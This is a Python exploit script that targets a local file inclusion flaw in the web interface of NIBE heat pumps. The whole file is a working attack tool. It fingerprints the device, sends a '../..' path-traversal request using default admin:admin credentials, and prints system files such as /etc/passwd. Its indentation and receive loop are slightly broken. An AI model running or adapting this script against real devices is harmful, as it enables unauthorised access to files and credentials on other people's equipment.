#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump LFI exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Special thanks to Fredrik Nordberg Almroth and Mathias Karlsson for obtaining this information http://h.ackack.net/?p=274 which made me test the heat pumps and find the exploits.

def finger_heatpump(ip, port):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
 s.send("GET / HTTP/1.1\n\n")
 header = s.recv(1024)
 s.close()
 if header.find("NIBE") !=-1:
  return 1
 else:
  return 0

def exploit_pump(ip, port, filename, basic_auth):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
 s.send("GET /cgi-bin/read.cgi?page=../.."+filename+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
 file = ""
 while s.recv(1024):
  file = file + s.recv(1024)
 s.close()
 return file

def instructions():
 print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
        print "Written by Jelmer de Hen"
        print "published at http://h.ackack.net/?p=302"
 print "Examples:"
 print sys.argv[0]+" 127.0.0.1 80 /etc/passwd"
 print sys.argv[0]+" 127.0.0.1 80 /etc/passwd admin p455w0rd"
 sys.exit(1)

def main():
 if len(sys.argv)==4 or len(sys.argv)==6:
  try:
   ip = sys.argv[1]
   port = int(sys.argv[2])
   filename = sys.argv[3]
  except:
   instructions()
  try:
   basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
  except:
   basic_auth = base64.b64encode("admin:admin")

  if finger_heatpump(ip, port) == 1:
   print "[+] Fingerprint scan success"
   file_contents = exploit_pump(ip, port, filename, basic_auth)
   if len(file_contents)==0:
    print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
   else:
    print "[+] Contents of "+filename+":"
    print file_contents
  else:
   print "[-] Fingerprint scan failed"

 else:
  instructions()

if __name__ == "__main__":
 sys.exit(main())